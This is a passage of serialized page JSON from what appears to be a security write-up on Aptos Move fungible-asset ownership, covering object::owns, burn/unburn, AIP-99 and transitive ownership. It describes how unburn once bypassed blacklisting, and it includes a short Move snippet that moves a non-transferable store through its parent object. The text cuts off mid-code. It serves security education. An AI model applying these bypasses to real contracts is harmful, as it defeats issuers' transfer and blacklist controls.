",{"type":23,"tag":135,"props":61483,"children":61485},{"className":61484},[],[61486],{"type":28,"value":46748},{"type":28,"value":61488}," ownership model. For example, during a withdrawal operation, the signer is validated using ",{"type":23,"tag":135,"props":61490,"children":61492},{"className":61491},[],[61493],{"type":28,"value":61494},"object::owns",{"type":28,"value":61496}," to confirm ownership of the ",{"type":23,"tag":135,"props":61498,"children":61500},{"className":61499},[],[61501],{"type":28,"value":59976},{"type":28,"value":48074},{"type":23,"tag":128,"props":61504,"children":61506},{"className":948,"code":61505,"language":947,"meta":7,"style":7},"public(friend) fun withdraw_sanity_check\u003CT: key>(\n    owner: &signer,\n    store: Object\u003CT>,\n    abort_on_dispatch: bool,\n) acquires FungibleStore, DispatchFunctionStore {\n    assert!(object::owns(store, signer::address_of(owner)), error::permission_denied(ENOT_STORE_OWNER));\n    [...]\n}\n",[61507],{"type":23,"tag":135,"props":61508,"children":61509},{"__ignoreMap":7},[61510,61558,61582,61609,61629,61657,61725,61740],{"type":23,"tag":139,"props":61511,"children":61512},{"class":141,"line":142},[61513,61517,61521,61525,61529,61533,61538,61542,61546,61550,61554],{"type":23,"tag":139,"props":61514,"children":61515},{"style":245},[61516],{"type":28,"value":59575},{"type":23,"tag":139,"props":61518,"children":61519},{"style":259},[61520],{"type":28,"value":262},{"type":23,"tag":139,"props":61522,"children":61523},{"style":294},[61524],{"type":28,"value":5101},{"type":23,"tag":139,"props":61526,"children":61527},{"style":259},[61528],{"type":28,"value":1062},{"type":23,"tag":139,"props":61530,"children":61531},{"style":294},[61532],{"type":28,"value":5110},{"type":23,"tag":139,"props":61534,"children":61535},{"style":294},[61536],{"type":28,"value":61537}," withdraw_sanity_check",{"type":23,"tag":139,"props":61539,"children":61540},{"style":259},[61541],{"type":28,"value":3808},{"type":23,"tag":139,"props":61543,"children":61544},{"style":305},[61545],{"type":28,"value":3990},{"type":23,"tag":139,"props":61547,"children":61548},{"style":982},[61549],{"type":28,"value":2493},{"type":23,"tag":139,"props":61551,"children":61552},{"style":294},[61553],{"type":28,"value":3934},{"type":23,"tag":139,"props":61555,"children":61556},{"style":259},[61557],{"type":28,"value":4591},{"type":23,"tag":139,"props":61559,"children":61560},{"class":141,"line":151},[61561,61566,61570,61574,61578],{"type":23,"tag":139,"props":61562,"children":61563},{"style":294},[61564],{"type":28,"value":61565},"    owner",{"type":23,"tag":139,"props":61567,"children":61568},{"style":982},[61569],{"type":28,"value":2493},{"type":23,"tag":139,"props":61571,"children":61572},{"style":982},[61573],{"type":28,"value":5144},{"type":23,"tag":139,"props":61575,"children":61576},{"style":294},[61577],{"type":28,"value":5149},{"type":23,"tag":139,"props":61579,"children":61580},{"style":259},[61581],{"type":28,"value":1488},{"type":23,"tag":139,"props":61583,"children":61584},{"class":141,"line":160},[61585,61589,61593,61597,61601,61605],{"type":23,"tag":139,"props":61586,"children":61587},{"style":294},[61588],{"type":28,"value":27436},{"type":23,"tag":139,"props":61590,"children":61591},{"style":982},[61592],{"type":28,"value":2493},{"type":23,"tag":139,"props":61594,"children":61595},{"style":305},[61596],{"type":28,"value":59461},{"type":23,"tag":139,"props":61598,"children":61599},{"style":259},[61600],{"type":28,"value":3808},{"type":23,"tag":139,"props":61602,"children":61603},{"style":305},[61604],{"type":28,"value":3990},{"type":23,"tag":139,"props":61606,"children":61607},{"style":259},[61608],{"type":28,"value":4141},{"type":23,"tag":139,"props":61610,"children":61611},{"class":141,"line":169},[61612,61617,61621,61625],{"type":23,"tag":139,"props":61613,"children":61614},{"style":294},[61615],{"type":28,"value":61616},"    abort_on_dispatch",{"type":23,"tag":139,"props":61618,"children":61619},{"style":982},[61620],{"type":28,"value":2493},{"type":23,"tag":139,"props":61622,"children":61623},{"style":305},[61624],{"type":28,"value":10061},{"type":23,"tag":139,"props":61626,"children":61627},{"style":259},[61628],{"type":28,"value":1488},{"type":23,"tag":139,"props":61630,"children":61631},{"class":141,"line":178},[61632,61636,61640,61644,61648,61653],{"type":23,"tag":139,"props":61633,"children":61634},{"style":259},[61635],{"type":28,"value":1062},{"type":23,"tag":139,"props":61637,"children":61638},{"style":294},[61639],{"type":28,"value":4347},{"type":23,"tag":139,"props":61641,"children":61642},{"style":305},[61643],{"type":28,"value":59996},{"type":23,"tag":139,"props":61645,"children":61646},{"style":259},[61647],{"type":28,"value":1052},{"type":23,"tag":139,"props":61649,"children":61650},{"style":305},[61651],{"type":28,"value":61652},"DispatchFunctionStore",{"type":23,"tag":139,"props":61654,"children":61655},{"style":259},[61656],{"type":28,"value":1268},{"type":23,"tag":139,"props":61658,"children":61659},{"class":141,"line":187},[61660,61664,61669,61673,61678,61682,61686,61690,61694,61698,61702,61706,61711,61715,61720],{"type":23,"tag":139,"props":61661,"children":61662},{"style":245},[61663],{"type":28,"value":60244},{"type":23,"tag":139,"props":61665,"children":61666},{"style":259},[61667],{"type":28,"value":61668},"(object",{"type":23,"tag":139,"props":61670,"children":61671},{"style":982},[61672],{"type":28,"value":1461},{"type":23,"tag":139,"props":61674,"children":61675},{"style":245},[61676],{"type":28,"value":61677},"owns",{"type":23,"tag":139,"props":61679,"children":61680},{"style":259},[61681],{"type":28,"value":262},{"type":23,"tag":139,"props":61683,"children":61684},{"style":294},[61685],{"type":28,"value":3943},{"type":23,"tag":139,"props":61687,"children":61688},{"style":259},[61689],{"type":28,"value":10947},{"type":23,"tag":139,"props":61691,"children":61692},{"style":982},[61693],{"type":28,"value":1461},{"type":23,"tag":139,"props":61695,"children":61696},{"style":245},[61697],{"type":28,"value":5212},{"type":23,"tag":139,"props":61699,"children":61700},{"style":259},[61701],{"type":28,"value":262},{"type":23,"tag":139,"props":61703,"children":61704},{"style":294},[61705],{"type":28,"value":13620},{"type":23,"tag":139,"props":61707,"children":61708},{"style":259},[61709],{"type":28,"value":61710},")), error",{"type":23,"tag":139,"props":61712,"children":61713},{"style":982},[61714],{"type":28,"value":1461},{"type":23,"tag":139,"props":61716,"children":61717},{"style":245},[61718],{"type":28,"value":61719},"permission_denied",{"type":23,"tag":139,"props":61721,"children":61722},{"style":259},[61723],{"type":28,"value":61724},"(ENOT_STORE_OWNER));\n",{"type":23,"tag":139,"props":61726,"children":61727},{"class":141,"line":196},[61728,61732,61736],{"type":23,"tag":139,"props":61729,"children":61730},{"style":259},[61731],{"type":28,"value":60618},{"type":23,"tag":139,"props":61733,"children":61734},{"style":982},[61735],{"type":28,"value":7599},{"type":23,"tag":139,"props":61737,"children":61738},{"style":259},[61739],{"type":28,"value":9783},{"type":23,"tag":139,"props":61741,"children":61742},{"class":141,"line":205},[61743],{"type":23,"tag":139,"props":61744,"children":61745},{"style":259},[61746],{"type":28,"value":1897},{"type":23,"tag":24,"props":61748,"children":61749},{},[61750,61752,61757,61759,61765,61767,61773],{"type":28,"value":61751},"The thing to note is that defining ownership with ",{"type":23,"tag":135,"props":61753,"children":61755},{"className":61754},[],[61756],{"type":28,"value":61494},{"type":28,"value":61758}," can be tricky. The ",{"type":23,"tag":135,"props":61760,"children":61762},{"className":61761},[],[61763],{"type":28,"value":61764},"burn",{"type":28,"value":61766}," function was one of the reasons behind that. It allowed changing the object's owner to the ",{"type":23,"tag":135,"props":61768,"children":61770},{"className":61769},[],[61771],{"type":28,"value":61772},"BURN_ADDRESS",{"type":28,"value":61774}," while bypassing transfer restrictions:",{"type":23,"tag":128,"props":61776,"children":61778},{"className":948,"code":61777,"language":947,"meta":7,"style":7},"public entry fun burn\u003CT: key>(owner: &signer, object: Object\u003CT>) acquires ObjectCore {\n    let original_owner = signer::address_of(owner);\n    assert!(is_owner(object, original_owner), error::permission_denied(ENOT_OBJECT_OWNER));\n    let object_addr = object.inner;\n    move_to(&create_signer(object_addr), TombStone { original_owner });\n    transfer_raw_inner(object_addr, BURN_ADDRESS);\n}\n",[61779],{"type":23,"tag":135,"props":61780,"children":61781},{"__ignoreMap":7},[61782,61879,61920,61970,61999,62049,62070],{"type":23,"tag":139,"props":61783,"children":61784},{"class":141,"line":142},[61785,61789,61793,61797,61802,61806,61810,61814,61818,61822,61826,61830,61834,61838,61842,61846,61850,61854,61858,61862,61866,61870,61875],{"type":23,"tag":139,"props":61786,"children":61787},{"style":294},[61788],{"type":28,"value":59575},{"type":23,"tag":139,"props":61790,"children":61791},{"style":294},[61792],{"type":28,"value":60542},{"type":23,"tag":139,"props":61794,"children":61795},{"style":294},[61796],{"type":28,"value":4210},{"type":23,"tag":139,"props":61798,"children":61799},{"style":294},[61800],{"type":28,"value":61801}," burn",{"type":23,"tag":139,"props":61803,"children":61804},{"style":259},[61805],{"type":28,"value":3808},{"type":23,"tag":139,"props":61807,"children":61808},{"style":305},[61809],{"type":28,"value":3990},{"type":23,"tag":139,"props":61811,"children":61812},{"style":982},[61813],{"type":28,"value":2493},{"type":23,"tag":139,"props":61815,"children":61816},{"style":294},[61817],{"type":28,"value":3934},{"type":23,"tag":139,"props":61819,"children":61820},{"style":259},[61821],{"type":28,"value":5614},{"type":23,"tag":139,"props":61823,"children":61824},{"style":294},[61825],{"type":28,"value":13620},{"type":23,"tag":139,"props":61827,"children":61828},{"style":982},[61829],{"type":28,"value":2493},{"type":23,"tag":139,"props":61831,"children":61832},{"style":982},[61833],{"type":28,"value":5144},{"type":23,"tag":139,"props":61835,"children":61836},{"style":294},[61837],{"type":28,"value":5149},{"type":23,"tag":139,"props":61839,"children":61840},{"style":259},[61841],{"type":28,"value":1052},{"type":23,"tag":139,"props":61843,"children":61844},{"style":294},[61845],{"type":28,"value":60810},{"type":23,"tag":139,"props":61847,"children":61848},{"style":982},[61849],{"type":28,"value":2493},{"type":23,"tag":139,"props":61851,"children":61852},{"style":305},[61853],{"type":28,"value":59461},{"type":23,"tag":139,"props":61855,"children":61856},{"style":259},[61857],{"type":28,"value":3808},{"type":23,"tag":139,"props":61859,"children":61860},{"style":305},[61861],{"type":28,"value":3990},{"type":23,"tag":139,"props":61863,"children":61864},{"style":259},[61865],{"type":28,"value":18454},{"type":23,"tag":139,"props":61867,"children":61868},{"style":294},[61869],{"type":28,"value":4347},{"type":23,"tag":139,"props":61871,"children":61872},{"style":305},[61873],{"type":28,"value":61874}," ObjectCore",{"type":23,"tag":139,"props":61876,"children":61877},{"style":259},[61878],{"type":28,"value":1268},{"type":23,"tag":139,"props":61880,"children":61881},{"class":141,"line":151},[61882,61886,61891,61895,61900,61904,61908,61912,61916],{"type":23,"tag":139,"props":61883,"children":61884},{"style":279},[61885],{"type":28,"value":969},{"type":23,"tag":139,"props":61887,"children":61888},{"style":294},[61889],{"type":28,"value":61890}," original_owner",{"type":23,"tag":139,"props":61892,"children":61893},{"style":982},[61894],{"type":28,"value":985},{"type":23,"tag":139,"props":61896,"children":61897},{"style":259},[61898],{"type":28,"value":61899}," signer",{"type":23,"tag":139,"props":61901,"children":61902},{"style":982},[61903],{"type":28,"value":1461},{"type":23,"tag":139,"props":61905,"children":61906},{"style":245},[61907],{"type":28,"value":5212},{"type":23,"tag":139,"props":61909,"children":61910},{"style":259},[61911],{"type":28,"value":262},{"type":23,"tag":139,"props":61913,"children":61914},{"style":294},[61915],{"type":28,"value":13620},{"type":23,"tag":139,"props":61917,"children":61918},{"style":259},[61919],{"type":28,"value":1820},{"type":23,"tag":139,"props":61921,"children":61922},{"class":141,"line":160},[61923,61927,61931,61936,61940,61944,61948,61953,61957,61961,61965],{"type":23,"tag":139,"props":61924,"children":61925},{"style":245},[61926],{"type":28,"value":60244},{"type":23,"tag":139,"props":61928,"children":61929},{"style":259},[61930],{"type":28,"value":262},{"type":23,"tag":139,"props":61932,"children":61933},{"style":245},[61934],{"type":28,"value":61935},"is_owner",{"type":23,"tag":139,"props":61937,"children":61938},{"style":259},[61939],{"type":28,"value":262},{"type":23,"tag":139,"props":61941,"children":61942},{"style":294},[61943],{"type":28,"value":60810},{"type":23,"tag":139,"props":61945,"children":61946},{"style":259},[61947],{"type":28,"value":1052},{"type":23,"tag":139,"props":61949,"children":61950},{"style":294},[61951],{"type":28,"value":61952},"original_owner",{"type":23,"tag":139,"props":61954,"children":61955},{"style":259},[61956],{"type":28,"value":60833},{"type":23,"tag":139,"props":61958,"children":61959},{"style":982},[61960],{"type":28,"value":1461},{"type":23,"tag":139,"props":61962,"children":61963},{"style":245},[61964],{"type":28,"value":61719},{"type":23,"tag":139,"props":61966,"children":61967},{"style":259},[61968],{"type":28,"value":61969},"(ENOT_OBJECT_OWNER));\n",{"type":23,"tag":139,"props":61971,"children":61972},{"class":141,"line":169},[61973,61977,61982,61986,61990,61994],{"type":23,"tag":139,"props":61974,"children":61975},{"style":279},[61976],{"type":28,"value":969},{"type":23,"tag":139,"props":61978,"children":61979},{"style":294},[61980],{"type":28,"value":61981}," object_addr",{"type":23,"tag":139,"props":61983,"children":61984},{"style":982},[61985],{"type":28,"value":985},{"type":23,"tag":139,"props":61987,"children":61988},{"style":294},[61989],{"type":28,"value":60394},{"type":23,"tag":139,"props":61991,"children":61992},{"style":982},[61993],{"type":28,"value":73},{"type":23,"tag":139,"props":61995,"children":61996},{"style":259},[61997],{"type":28,"value":61998},"inner;\n",{"type":23,"tag":139,"props":62000,"children":62001},{"class":141,"line":178},[62002,62006,62010,62014,62019,62023,62028,62032,62037,62041,62045],{"type":23,"tag":139,"props":62003,"children":62004},{"style":245},[62005],{"type":28,"value":60997},{"type":23,"tag":139,"props":62007,"children":62008},{"style":259},[62009],{"type":28,"value":262},{"type":23,"tag":139,"props":62011,"children":62012},{"style":982},[62013],{"type":28,"value":1085},{"type":23,"tag":139,"props":62015,"children":62016},{"style":245},[62017],{"type":28,"value":62018},"create_signer",{"type":23,"tag":139,"props":62020,"children":62021},{"style":259},[62022],{"type":28,"value":262},{"type":23,"tag":139,"props":62024,"children":62025},{"style":294},[62026],{"type":28,"value":62027},"object_addr",{"type":23,"tag":139,"props":62029,"children":62030},{"style":259},[62031],{"type":28,"value":13189},{"type":23,"tag":139,"props":62033,"children":62034},{"style":305},[62035],{"type":28,"value":62036},"TombStone",{"type":23,"tag":139,"props":62038,"children":62039},{"style":259},[62040],{"type":28,"value":7594},{"type":23,"tag":139,"props":62042,"children":62043},{"style":294},[62044],{"type":28,"value":61952},{"type":23,"tag":139,"props":62046,"children":62047},{"style":259},[62048],{"type":28,"value":36725},{"type":23,"tag":139,"props":62050,"children":62051},{"class":141,"line":187},[62052,62057,62061,62065],{"type":23,"tag":139,"props":62053,"children":62054},{"style":245},[62055],{"type":28,"value":62056},"    transfer_raw_inner",{"type":23,"tag":139,"props":62058,"children":62059},{"style":259},[62060],{"type":28,"value":262},{"type":23,"tag":139,"props":62062,"children":62063},{"style":294},[62064],{"type":28,"value":62027},{"type":23,"tag":139,"props":62066,"children":62067},{"style":259},[62068],{"type":28,"value":62069},", BURN_ADDRESS);\n",{"type":23,"tag":139,"props":62071,"children":62072},{"class":141,"line":196},[62073],{"type":23,"tag":139,"props":62074,"children":62075},{"style":259},[62076],{"type":28,"value":1897},{"type":23,"tag":24,"props":62078,"children":62079},{},[62080,62086,62088,62093,62094,62101,62103,62108],{"type":23,"tag":135,"props":62081,"children":62083},{"className":62082},[],[62084],{"type":28,"value":62085},"unburn",{"type":28,"value":62087}," is a way to restore the previous object owner. In a past audit, this mechanism could be exploited to bypass fungible store owner blacklisting by temporarily setting ownership to the unblacklisted ",{"type":23,"tag":135,"props":62089,"children":62091},{"className":62090},[],[62092],{"type":28,"value":61772},{"type":28,"value":765},{"type":23,"tag":64,"props":62095,"children":62098},{"href":62096,"rel":62097},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-99.md",[68],[62099],{"type":28,"value":62100},"AIP-99",{"type":28,"value":62102}," is a proposal to roll back the ",{"type":23,"tag":135,"props":62104,"children":62106},{"className":62105},[],[62107],{"type":28,"value":61764},{"type":28,"value":62109}," feature, but previously burned objects will remain restorable.",{"type":23,"tag":90,"props":62111,"children":62112},{},[62113],{"type":23,"tag":24,"props":62114,"children":62115},{},[62116,62118,62122],{"type":28,"value":62117},"This ",{"type":23,"tag":139,"props":62119,"children":62120},{},[62121],{"type":28,"value":62100},{"type":28,"value":62123}," seeks to disable safe object burn, as it caused extra complexity, and sometimes unexpected consequences. As a result of this AIP, users will still be able to unburn their burnt objects, but will not be able to burn any new objects.",{"type":23,"tag":24,"props":62125,"children":62126},{},[62127,62129,62135,62137,62142,62144,62149],{"type":28,"value":62128},"Another important thing is that ",{"type":23,"tag":135,"props":62130,"children":62132},{"className":62131},[],[62133],{"type":28,"value":62134},"fungible_asset::set_untransferable",{"type":28,"value":62136}," can be used to make all new ",{"type":23,"tag":135,"props":62138,"children":62140},{"className":62139},[],[62141],{"type":28,"value":60480},{"type":28,"value":62143}," for this asset untransferable, preventing ownership changes. However, this restriction doesn't apply to the parent object, allowing a transferable parent to be moved even if it owns a non-transferable ",{"type":23,"tag":135,"props":62145,"children":62147},{"className":62146},[],[62148],{"type":28,"value":59976},{"type":28,"value":73},{"type":23,"tag":24,"props":62151,"children":62152},{},[62153,62155,62160,62162,62168,62170,62175,62177,62182],{"type":28,"value":62154},"Do we need to care about this case? We do, because ownership is transitive. If entity X owns an object that owns a ",{"type":23,"tag":135,"props":62156,"children":62158},{"className":62157},[],[62159],{"type":28,"value":59976},{"type":28,"value":62161},", X can withdraw from that store. This is because ",{"type":23,"tag":135,"props":62163,"children":62165},{"className":62164},[],[62166],{"type":28,"value":62167},"fungible_asset::withdraw",{"type":28,"value":62169}," uses ",{"type":23,"tag":135,"props":62171,"children":62173},{"className":62172},[],[62174],{"type":28,"value":61494},{"type":28,"value":62176}," to verify both direct and indirect ownership of the ",{"type":23,"tag":135,"props":62178,"children":62180},{"className":62179},[],[62181],{"type":28,"value":59976},{"type":28,"value":48074},{"type":23,"tag":128,"props":62184,"children":62186},{"className":948,"code":62185,"language":947,"meta":7,"style":7},"fun verify_ungated_and_descendant(owner: address, destination: address) acquires ObjectCore {\n        [...]\n    while (owner != current_address) {\n        count = count + 1;\n        [...]\n        assert!(\n            exists\u003CObjectCore>(current_address),\n            error::permission_denied(ENOT_OBJECT_OWNER),\n        );\n        let object = borrow_global\u003CObjectCore>(current_address);\n        current_address = object.owner;\n    };\n}\n",[62187],{"type":23,"tag":135,"props":62188,"children":62189},{"__ignoreMap":7},[62190,62251,62267,62297,62326,62341,62353,62383,62404,62411,62451,62476,62483],{"type":23,"tag":139,"props":62191,"children":62192},{"class":141,"line":142},[62193,62197,62202,62206,62210,62214,62218,62222,62227,62231,62235,62239,62243,62247],{"type":23,"tag":139,"props":62194,"children":62195},{"style":294},[62196],{"type":28,"value":5110},{"type":23,"tag":139,"props":62198,"children":62199},{"style":245},[62200],{"type":28,"value":62201}," verify_ungated_and_descendant",{"type":23,"tag":139,"props":62203,"children":62204},{"style":259},[62205],{"type":28,"value":262},{"type":23,"tag":139,"props":62207,"children":62208},{"style":294},[62209],{"type":28,"value":13620},{"type":23,"tag":139,"props":62211,"children":62212},{"style":982},[62213],{"type":28,"value":2493},{"type":23,"tag":139,"props":62215,"children":62216},{"style":294},[62217],{"type":28,"value":4253},{"type":23,"tag":139,"props":62219,"children":62220},{"style":259},[62221],{"type":28,"value":1052},{"type":23,"tag":139,"props":62223,"children":62224},{"style":294},[62225],{"type":28,"value":62226},"destination",{"type":23,"tag":139,"props":62228,"children":62229},{"style":982},[62230],{"type":28,"value":2493},{"type":23,"tag":139,"props":62232,"children":62233},{"style":294},[62234],{"type":28,"value":4253},{"type":23,"tag":139,"props":62236,"children":62237},{"style":259},[62238],{"type":28,"value":1062},{"type":23,"tag":139,"props":62240,"children":62241},{"style":294},[62242],{"type":28,"value":4347},{"type":23,"tag":139,"props":62244,"children":62245},{"style":305},[62246],{"type":28,"value":61874},{"type":23,"tag":139,"props":62248,"children":62249},{"style":259},[62250],{"type":28,"value":1268},{"type":23,"tag":139,"props":62252,"children":62253},{"class":141,"line":151},[62254,62259,62263],{"type":23,"tag":139,"props":62255,"children":62256},{"style":259},[62257],{"type":28,"value":62258},"        [",{"type":23,"tag":139,"props":62260,"children":62261},{"style":982},[62262],{"type":28,"value":7599},{"type":23,"tag":139,"props":62264,"children":62265},{"style":259},[62266],{"type":28,"value":9783},{"type":23,"tag":139,"props":62268,"children":62269},{"class":141,"line":160},[62270,62275,62279,62283,62288,62293],{"type":23,"tag":139,"props":62271,"children":62272},{"style":319},[62273],{"type":28,"value":62274},"    while",{"type":23,"tag":139,"props":62276,"children":62277},{"style":259},[62278],{"type":28,"value":1042},{"type":23,"tag":139,"props":62280,"children":62281},{"style":294},[62282],{"type":28,"value":13620},{"type":23,"tag":139,"props":62284,"children":62285},{"style":982},[62286],{"type":28,"value":62287}," !=",{"type":23,"tag":139,"props":62289,"children":62290},{"style":294},[62291],{"type":28,"value":62292}," current_address",{"type":23,"tag":139,"props":62294,"children":62295},{"style":259},[62296],{"type":28,"value":12815},{"type":23,"tag":139,"props":62298,"children":62299},{"class":141,"line":169},[62300,62305,62309,62314,62318,62322],{"type":23,"tag":139,"props":62301,"children":62302},{"style":294},[62303],{"type":28,"value":62304},"        count",{"type":23,"tag":139,"props":62306,"children":62307},{"style":982},[62308],{"type":28,"value":985},{"type":23,"tag":139,"props":62310,"children":62311},{"style":294},[62312],{"type":28,"value":62313}," count",{"type":23,"tag":139,"props":62315,"children":62316},{"style":982},[62317],{"type":28,"value":6910},{"type":23,"tag":139,"props":62319,"children":62320},{"style":1016},[62321],{"type":28,"value":2525},{"type":23,"tag":139,"props":62323,"children":62324},{"style":259},[62325],{"type":28,"value":995},{"type":23,"tag":139,"props":62327,"children":62328},{"class":141,"line":178},[62329,62333,62337],{"type":23,"tag":139,"props":62330,"children":62331},{"style":259},[62332],{"type":28,"value":62258},{"type":23,"tag":139,"props":62334,"children":62335},{"style":982},[62336],{"type":28,"value":7599},{"type":23,"tag":139,"props":62338,"children":62339},{"style":259},[62340],{"type":28,"value":9783},{"type":23,"tag":139,"props":62342,"children":62343},{"class":141,"line":187},[62344,62349],{"type":23,"tag":139,"props":62345,"children":62346},{"style":245},[62347],{"type":28,"value":62348},"        assert!",{"type":23,"tag":139,"props":62350,"children":62351},{"style":259},[62352],{"type":28,"value":1443},{"type":23,"tag":139,"props":62354,"children":62355},{"class":141,"line":196},[62356,62361,62365,62370,62374,62379],{"type":23,"tag":139,"props":62357,"children":62358},{"style":294},[62359],{"type":28,"value":62360},"            exists",{"type":23,"tag":139,"props":62362,"children":62363},{"style":259},[62364],{"type":28,"value":3808},{"type":23,"tag":139,"props":62366,"children":62367},{"style":305},[62368],{"type":28,"value":62369},"ObjectCore",{"type":23,"tag":139,"props":62371,"children":62372},{"style":259},[62373],{"type":28,"value":5614},{"type":23,"tag":139,"props":62375,"children":62376},{"style":294},[62377],{"type":28,"value":62378},"current_address",{"type":23,"tag":139,"props":62380,"children":62381},{"style":259},[62382],{"type":28,"value":4739},{"type":23,"tag":139,"props":62384,"children":62385},{"class":141,"line":205},[62386,62391,62395,62399],{"type":23,"tag":139,"props":62387,"children":62388},{"style":259},[62389],{"type":28,"value":62390},"            error",{"type":23,"tag":139,"props":62392,"children":62393},{"style":982},[62394],{"type":28,"value":1461},{"type":23,"tag":139,"props":62396,"children":62397},{"style":245},[62398],{"type":28,"value":61719},{"type":23,"tag":139,"props":62400,"children":62401},{"style":259},[62402],{"type":28,"value":62403},"(ENOT_OBJECT_OWNER),\n",{"type":23,"tag":139,"props":62405,"children":62406},{"class":141,"line":214},[62407],{"type":23,"tag":139,"props":62408,"children":62409},{"style":259},[62410],{"type":28,"value":5747},{"type":23,"tag":139,"props":62412,"children":62413},{"class":141,"line":1320},[62414,62418,62422,62426,62431,62435,62439,62443,62447],{"type":23,"tag":139,"props":62415,"children":62416},{"style":279},[62417],{"type":28,"value":1037},{"type":23,"tag":139,"props":62419,"children":62420},{"style":294},[62421],{"type":28,"value":60394},{"type":23,"tag":139,"props":62423,"children":62424},{"style":982},[62425],{"type":28,"value":985},{"type":23,"tag":139,"props":62427,"children":62428},{"style":294},[62429],{"type":28,"value":62430}," borrow_global",{"type":23,"tag":139,"props":62432,"children":62433},{"style":259},[62434],{"type":28,"value":3808},{"type":23,"tag":139,"props":62436,"children":62437},{"style":305},[62438],{"type":28,"value":62369},{"type":23,"tag":139,"props":62440,"children":62441},{"style":259},[62442],{"type":28,"value":5614},{"type":23,"tag":139,"props":62444,"children":62445},{"style":294},[62446],{"type":28,"value":62378},{"type":23,"tag":139,"props":62448,"children":62449},{"style":259},[62450],{"type":28,"value":1820},{"type":23,"tag":139,"props":62452,"children":62453},{"class":141,"line":1329},[62454,62459,62463,62467,62471],{"type":23,"tag":139,"props":62455,"children":62456},{"style":294},[62457],{"type":28,"value":62458},"        current_address",{"type":23,"tag":139,"props":62460,"children":62461},{"style":982},[62462],{"type":28,"value":985},{"type":23,"tag":139,"props":62464,"children":62465},{"style":294},[62466],{"type":28,"value":60394},{"type":23,"tag":139,"props":62468,"children":62469},{"style":982},[62470],{"type":28,"value":73},{"type":23,"tag":139,"props":62472,"children":62473},{"style":259},[62474],{"type":28,"value":62475},"owner;\n",{"type":23,"tag":139,"props":62477,"children":62478},{"class":141,"line":1580},[62479],{"type":23,"tag":139,"props":62480,"children":62481},{"style":259},[62482],{"type":28,"value":36887},{"type":23,"tag":139,"props":62484,"children":62485},{"class":141,"line":1597},[62486],{"type":23,"tag":139,"props":62487,"children":62488},{"style":259},[62489],{"type":28,"value":1897},{"type":23,"tag":24,"props":62491,"children":62492},{},[62493,62495,62500],{"type":28,"value":62494},"This could allow for bypassing assumptions about ",{"type":23,"tag":135,"props":62496,"children":62498},{"className":62497},[],[62499],{"type":28,"value":59976},{"type":28,"value":62501}," true ownership and its non-transferability.",{"type":23,"tag":128,"props":62503,"children":62505},{"className":948,"code":62504,"language":947,"meta":7,"style":7},"public fun untransferable_transfer(caller: &signer, receipient: address) {\n    let constructor_ref = object::create_object(signer::address_of(caller));\n    let object_addr = object::address_from_constructor_ref(&constructor_ref);\n    let store = primary_fungible_store::ensure_primary_store_exists(object_addr, get_metadata());\n\n    object::transfer_raw(caller, object_addr, receipient);\n    //receipient can interact with store by using their signer\n}\n",[62506],{"type":23,"tag":135,"props":62507,"children":62508},{"__ignoreMap":7},[62509,62567,62620,62664,62712,62719,62764,62772],{"type":23,"tag":139,"props":62510,"children":62511},{"class":141,"line":142},[62512,62516,62520,62525,62529,62534,62538,62542,62546,62550,62555,62559,62563],{"type":23,"tag":139,"props":62513,"children":62514},{"style":294},[62515],{"type":28,"value":59575},{"type":23,"tag":139,"props":62517,"children":62518},{"style":294},[62519],{"type":28,"value":4210},{"type":23,"tag":139,"props":62521,"children":62522},{"style":245},[62523],{"type":28,"value":62524}," untransferable_transfer",{"type":23,"tag":139,"props":62526,"children":62527},{"style":259},[62528],{"type":28,"value":262},{"type":23,"tag":139,"props":62530,"children":62531},{"style":294},[62532],{"type":28,"value":62533},"caller",{"type":23,"tag":139,"props":62535,"children":62536},{"style":982},[62537],{"type":28,"value":2493},{"type":23,"tag":139,"props":62539,"children":62540},{"style":982},[62541],{"type":28,"value":5144},{"type":23,"tag":139,"props":62543,"children":62544},{"style":294},[62545],{"type":28,"value":5149},{"type":23,"tag":139,"props":62547,"children":62548},{"style":259},[62549],{"type":28,"value":1052},{"type":23,"tag":139,"props":62551,"children":62552},{"style":294},[62553],{"type":28,"value":62554},"receipient",{"type":23,"tag":139,"props":62556,"children":62557},{"style":982},[62558],{"type":28,"value":2493},{"type":23,"tag":139,"props":62560,"children":62561},{"style":294},[62562],{"type":28,"value":4253},{"type":23,"tag":139,"props":62564,"children":62565},{"style":259},[62566],{"type":28,"value":12815},{"type":23,"tag":139,"props":62568,"children":62569},{"class":141,"line":151},[62570,62574,62579,62583,62587,62591,62596,62600,62604,62608,62612,62616],{"type":23,"tag":139,"props":62571,"children":62572},{"style":279},[62573],{"type":28,"value":969},{"type":23,"tag":139,"props":62575,"children":62576},{"style":294},[62577],{"type":28,"value":62578}," constructor_ref",{"type":23,"tag":139,"props":62580,"children":62581},{"style":982},[62582],{"type":28,"value":985},{"type":23,"tag":139,"props":62584,"children":62585},{"style":259},[62586],{"type":28,"value":60394},{"type":23,"tag":139,"props":62588,"children":62589},{"style":982},[62590],{"type":28,"value":1461},{"type":23,"tag":139,"props":62592,"children":62593},{"style":245},[62594],{"type":28,"value":62595},"create_object",{"type":23,"tag":139,"props":62597,"children":62598},{"style":259},[62599],{"type":28,"value":5203},{"type":23,"tag":139,"props":62601,"children":62602},{"style":982},[62603],{"type":28,"value":1461},{"type":23,"tag":139,"props":62605,"children":62606},{"style":245},[62607],{"type":28,"value":5212},{"type":23,"tag":139,"props":62609,"children":62610},{"style":259},[62611],{"type":28,"value":262},{"type":23,"tag":139,"props":62613,"children":62614},{"style":294},[62615],{"type":28,"value":62533},{"type":23,"tag":139,"props":62617,"children":62618},{"style":259},[62619],{"type":28,"value":5226},{"type":23,"tag":139,"props":62621,"children":62622},{"class":141,"line":160},[62623,62627,62631,62635,62639,62643,62648,62652,62656,62660],{"type":23,"tag":139,"props":62624,"children":62625},{"style":279},[62626],{"type":28,"value":969},{"type":23,"tag":139,"props":62628,"children":62629},{"style":294},[62630],{"type":28,"value":61981},{"type":23,"tag":139,"props":62632,"children":62633},{"style":982},[62634],{"type":28,"value":985},{"type":23,"tag":139,"props":62636,"children":62637},{"style":259},[62638],{"type":28,"value":60394},{"type":23,"tag":139,"props":62640,"children":62641},{"style":982},[62642],{"type":28,"value":1461},{"type":23,"tag":139,"props":62644,"children":62645},{"style":245},[62646],{"type":28,"value":62647},"address_from_constructor_ref",{"type":23,"tag":139,"props":62649,"children":62650},{"style":259},[62651],{"type":28,"value":262},{"type":23,"tag":139,"props":62653,"children":62654},{"style":982},[62655],{"type":28,"value":1085},{"type":23,"